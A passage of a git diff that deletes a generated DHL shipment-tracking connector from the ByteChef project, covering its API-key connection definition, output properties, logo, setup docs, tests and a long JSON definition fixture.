- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.dhl.connection;
-
-import static com.bytechef.component.definition.Authorization.AuthorizationType;
-import static com.bytechef.component.definition.Authorization.KEY;
-import static com.bytechef.component.definition.Authorization.VALUE;
-import static com.bytechef.component.definition.ComponentDsl.authorization;
-import static com.bytechef.component.definition.ComponentDsl.connection;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.definition.ComponentDsl;
-
-/**
- * Provides the component connection definition.
- *
- * @generated
- */
-public class DhlConnection {
-    public static final ComponentDsl.ModifiableConnectionDefinition CONNECTION_DEFINITION = connection()
-        .baseUri((connectionParameters, context) -> "https://api-eu.dhl.com")
-        .authorizations(authorization(AuthorizationType.API_KEY)
-            .title("API Key")
-            .properties(
-                string(KEY)
-                    .label("Key")
-                    .required(true)
-                    .defaultValue("DHL-API-Key")
-                    .hidden(true),
-                string(VALUE)
-                    .label("API Key")
-                    .required(true)
-
-            ));
-
-    private DhlConnection() {
-    }
-}
diff --git a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/property/DhlTrackingShipmentsProperties.java b/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/property/DhlTrackingShipmentsProperties.java
deleted file mode 100644
index a5aa44660f2..00000000000
--- a/server/libs/modules/components/dhl/src/main/java/com/bytechef/component/dhl/property/DhlTrackingShipmentsProperties.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.dhl.property;
-
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.definition.ComponentDsl;
-import java.util.List;
-
-/**
- * Provides properties definition built from OpenAPI schema.
- *
- * @generated
- */
-public class DhlTrackingShipmentsProperties {
-    public static final List<ComponentDsl.ModifiableValueProperty<?, ?>> PROPERTIES = List.of(string("url").label("Url")
-        .description("A link to current page.")
-        .required(false),
-        string("prevUrl").label("Prev Url")
-            .description("A link to the previous page.")
-            .required(false),
-        string("nextUrl").label("Next Url")
-            .description("A link to the next page.")
-            .required(false),
-        string("firstUrl").label("First Url")
-            .description("A link to the first page.")
-            .required(false),
-        string("lastUrl").label("Last Url")
-            .description("A link to the last page.")
-            .required(false),
-        array("shipments").items(object().properties(DhlTrackingShipmentsProperties.PROPERTIES)
-            .description("Unified tracking response object."))
-            .placeholder("Add to Shipments")
-            .label("Shipments")
-            .description("An array of unified tracking shipments.")
-            .required(false),
-        array("possibleAdditionalShipmentsUrl")
-            .items(string().description("An array of business services, where should be potentially shipment found."))
-            .placeholder("Add to Possible Additional Shipments Url")
-            .label("Possible Additional Shipments Url")
-            .description("An array of business services, where should be potentially shipment found.")
-            .required(false));
-
-    private DhlTrackingShipmentsProperties() {
-    }
-}
diff --git a/server/libs/modules/components/dhl/src/main/resources/assets/dhl.svg b/server/libs/modules/components/dhl/src/main/resources/assets/dhl.svg
deleted file mode 100644
index 64a2e34bdf0..00000000000
--- a/server/libs/modules/components/dhl/src/main/resources/assets/dhl.svg
+++ /dev/null
@@ -1,7 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="2500" height="1595" viewBox="0 0 46.986 29.979" id="dhl">
-  <path fill="#ffcb01" d="M0 0h46.986v29.979H0z"></path>
-  <g fill="#d80613">
-    <path d="M8.731 11.413L7.276 13.39h7.93c.401 0 .396.151.2.418-.199.27-.532.737-.735 1.012-.103.139-.289.392.327.392h3.243l.961-1.306c.596-.809.052-2.492-2.079-2.492l-8.392-.001z"></path>
-    <path d="M6.687 17.854l2.923-3.972h3.627c.401 0 .396.152.2.418l-.74 1.008c-.103.139-.289.392.327.392h4.858c-.403.554-1.715 2.154-4.067 2.154H6.687zM23.425 15.699l-1.585 2.155h-4.181l1.585-2.155zM29.829 15.211H19.604l2.796-3.798h4.179l-1.602 2.178h1.865l1.604-2.178h4.179zM29.47 15.699l-1.585 2.155h-4.179l1.585-2.155zM.722 16.549H6.88l-.336.457H.722zM.722 15.699h6.784l-.337.457H.722zM.722 17.399h5.533l-.335.455H.722zM46.265 17.006h-6.136l.337-.457h5.799zM46.265 17.854h-6.759l.334-.455h6.425zM41.091 15.699h5.174v.458h-5.51zM38.413 11.413l-2.796 3.798h-4.429l2.798-3.798zM30.83 15.699s-.305.418-.454.618c-.524.71-.061 1.536 1.652 1.536h6.712l1.585-2.154H30.83z"></path>
-  </g>
-</svg>
diff --git a/server/libs/modules/components/dhl/src/main/resources/connection.mdx b/server/libs/modules/components/dhl/src/main/resources/connection.mdx
deleted file mode 100644
index 8deaf76c83f..00000000000
--- a/server/libs/modules/components/dhl/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-1. Navigate to https://developer.dhl.com/.
-2. Click on the profile icon.
-3. Click on **Create App**.
-4. Enter apps name.
-5. Enter **Shipment Tracking - Unified** and select it.
-    When adding custom actions here you have to add additional APIs that your action will use.
-6. Click on **+**.
-7. Click on **Create App**.
-8. Click on your new app.
-9. Here you can see your API Key.
-10. You will be able to use your API Key after your app is enabled by the DHL team.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/1b6c84b9-8800-4dd8-9abc-637ba725fbaa?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/dhl/src/main/resources/trackShipment.mdx b/server/libs/modules/components/dhl/src/main/resources/trackShipment.mdx
deleted file mode 100644
index 75efa35bace..00000000000
--- a/server/libs/modules/components/dhl/src/main/resources/trackShipment.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
-### How to find your tracking number
-
-A tracking number or ID is a combination of numbers and possibly letters that uniquely identifies your shipment for national or international tracking.
-
-Usually, the shipper or online shop is able to provide the tracking number or ID. If you have ordered a product in an online shop, the confirmation email or shipment tracking notification often contains the tracking number or ID.
diff --git a/server/libs/modules/components/dhl/src/test/java/com/bytechef/component/dhl/AbstractDhlComponentHandlerTest.java b/server/libs/modules/components/dhl/src/test/java/com/bytechef/component/dhl/AbstractDhlComponentHandlerTest.java
deleted file mode 100644
index ab56403f0a8..00000000000
--- a/server/libs/modules/components/dhl/src/test/java/com/bytechef/component/dhl/AbstractDhlComponentHandlerTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.dhl;
-
-import com.bytechef.test.jsonasssert.JsonFileAssert;
-import org.junit.jupiter.api.Test;
-
-/**
- * Provides the base test implementation for the REST based component.
- *
- * @generated
- */
-public abstract class AbstractDhlComponentHandlerTest {
-    @Test
-    public void testGetDefinition() {
-        JsonFileAssert.assertEquals("definition/dhl_v1.json", new DhlComponentHandler().getDefinition());
-    }
-}
diff --git a/server/libs/modules/components/dhl/src/test/java/com/bytechef/component/dhl/DhlComponentHandlerTest.java b/server/libs/modules/components/dhl/src/test/java/com/bytechef/component/dhl/DhlComponentHandlerTest.java
deleted file mode 100644
index e0d09d7bec7..00000000000
--- a/server/libs/modules/components/dhl/src/test/java/com/bytechef/component/dhl/DhlComponentHandlerTest.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.dhl;
-
-/**
- * @generated
- */
-public class DhlComponentHandlerTest extends AbstractDhlComponentHandlerTest {
-}
diff --git a/server/libs/modules/components/dhl/src/test/resources/definition/dhl_v1.json b/server/libs/modules/components/dhl/src/test/resources/definition/dhl_v1.json
deleted file mode 100644
index 909f0ff0c05..00000000000
--- a/server/libs/modules/components/dhl/src/test/resources/definition/dhl_v1.json
+++ /dev/null
@@ -1,1081 +0,0 @@
-{
-  "actions": [ {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Retrieves the tracking information for shipments.",
-    "help": {
-      "body": "",
-      "learnMoreUrl": "https://docs.bytechef.io/reference/components/dhl_v1#track-shipment"
-    },
-    "metadata": {
-      "method": "GET",
-      "path": "/track/shipments"
-    },
-    "name": "trackShipment",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": "Unified tracking response object.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": {
-            "responseType": {
-              "contentType": "application/json",
-              "type": "JSON"
-            }
-          },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to current page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "url",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to the previous page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "Prev Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "prevUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to the next page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "Next Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "nextUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to the first page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "First Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "firstUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to the last page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "Last Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "lastUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "ARRAY_BUILDER",
-            "defaultValue": null,
-            "description": "An array of unified tracking shipments.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "items": [ {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Unified tracking response object.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": null,
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": null,
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "label": "Shipments",
-            "maxItems": null,
-            "metadata": { },
-            "minItems": null,
-            "multipleValues": null,
-            "name": "shipments",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": "Add to Shipments",
-            "required": false,
-            "type": "ARRAY"
-          }, {
-            "advancedOption": null,
-            "controlType": "ARRAY_BUILDER",
-            "defaultValue": null,
-            "description": "An array of business services, where should be potentially shipment found.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "items": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "An array of business services, where should be potentially shipment found.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": null,
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            } ],
-            "label": "Possible Additional Shipments Url",
-            "maxItems": null,
-            "metadata": { },
-            "minItems": null,
-            "multipleValues": null,
-            "name": "possibleAdditionalShipmentsUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": "Add to Possible Additional Shipments Url",
-            "required": false,
-            "type": "ARRAY"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": "Unified tracking response object.",
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": {
-          "responseType": {
-            "contentType": "application/json",
-            "type": "JSON"
-          }
-        },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to current page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "url",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to the previous page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Prev Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "prevUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to the next page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Next Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "nextUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to the first page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "First Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "firstUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to the last page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Last Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "lastUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "ARRAY_BUILDER",
-          "defaultValue": null,
-          "description": "An array of unified tracking shipments.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "items": [ {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": "Unified tracking response object.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": null,
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": null,
-            "required": null,
-            "type": "OBJECT"
-          } ],
-          "label": "Shipments",
-          "maxItems": null,
-          "metadata": { },
-          "minItems": null,
-          "multipleValues": null,
-          "name": "shipments",
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": "Add to Shipments",
-          "required": false,
-          "type": "ARRAY"
-        }, {
-          "advancedOption": null,
-          "controlType": "ARRAY_BUILDER",
-          "defaultValue": null,
-          "description": "An array of business services, where should be potentially shipment found.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "items": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "An array of business services, where should be potentially shipment found.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": null,
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "label": "Possible Additional Shipments Url",
-          "maxItems": null,
-          "metadata": { },
-          "minItems": null,
-          "multipleValues": null,
-          "name": "possibleAdditionalShipmentsUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": "Add to Possible Additional Shipments Url",
-          "required": false,
-          "type": "ARRAY"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "perform": null,
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "The tracking number of the shipment for which to return the information.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Tracking Number",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": {
-        "type": "QUERY"
-      },
-      "minLength": null,
-      "name": "trackingNumber",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Track Shipment",
-    "workflowNodeDescription": null
-  } ],
-  "clusterElements": [ {
-    "name": "trackShipment",
-    "description": "Retrieves the tracking information for shipments.",
-    "element": { },
-    "help": null,
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": "Unified tracking response object.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": {
-            "responseType": {
-              "contentType": "application/json",
-              "type": "JSON"
-            }
-          },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to current page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "url",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to the previous page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "Prev Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "prevUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to the next page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "Next Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "nextUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to the first page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "First Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "firstUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "A link to the last page.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": "Last Url",
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "lastUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": false,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "ARRAY_BUILDER",
-            "defaultValue": null,
-            "description": "An array of unified tracking shipments.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "items": [ {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Unified tracking response object.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": null,
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": null,
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "label": "Shipments",
-            "maxItems": null,
-            "metadata": { },
-            "minItems": null,
-            "multipleValues": null,
-            "name": "shipments",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": "Add to Shipments",
-            "required": false,
-            "type": "ARRAY"
-          }, {
-            "advancedOption": null,
-            "controlType": "ARRAY_BUILDER",
-            "defaultValue": null,
-            "description": "An array of business services, where should be potentially shipment found.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "items": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "An array of business services, where should be potentially shipment found.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": null,
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            } ],
-            "label": "Possible Additional Shipments Url",
-            "maxItems": null,
-            "metadata": { },
-            "minItems": null,
-            "multipleValues": null,
-            "name": "possibleAdditionalShipmentsUrl",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": "Add to Possible Additional Shipments Url",
-            "required": false,
-            "type": "ARRAY"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": "Unified tracking response object.",
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": {
-          "responseType": {
-            "contentType": "application/json",
-            "type": "JSON"
-          }
-        },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to current page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "url",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to the previous page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Prev Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "prevUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to the next page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Next Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "nextUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to the first page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "First Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "firstUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "A link to the last page.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Last Url",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "lastUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": false,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "ARRAY_BUILDER",
-          "defaultValue": null,
-          "description": "An array of unified tracking shipments.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "items": [ {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": "Unified tracking response object.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": null,
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": null,
-            "required": null,
-            "type": "OBJECT"
